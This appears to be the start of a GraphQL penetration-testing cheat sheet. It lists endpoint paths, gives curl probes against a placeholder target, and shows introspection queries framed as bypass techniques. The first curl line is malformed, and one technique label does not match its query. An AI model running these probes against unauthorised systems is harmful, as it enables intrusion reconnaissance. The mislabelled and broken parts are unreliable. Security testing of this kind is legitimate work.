GraphQL Testing v2 — Deep Coverage

GraphQL Testing v2 — Deep Coverage

0. Detection

# Common endpoints
/graphql /graphiql /gql /v1/graphql /api/graphql
/query /playground /graphql/console /graphql-explorer

# Quick confirmation
curl POST https://{target}/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'
# → {"data":{"__typename":"Query"}} = GraphQL confirmed

# Check for GET support (easier to exploit)
curl "https://{target}/graphql?query=%7B__typename%7D"

1. Introspection — 6 Bypass Techniques

Technique 1: Standard

{ __schema { types { name fields { name type { name kind ofType { name } } } } } }

Technique 2: Proxied via __typename

fragment FullType on __Type {
  kind name description
  fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } }
  inputFields { ...InputValue }
}
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name } } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } } }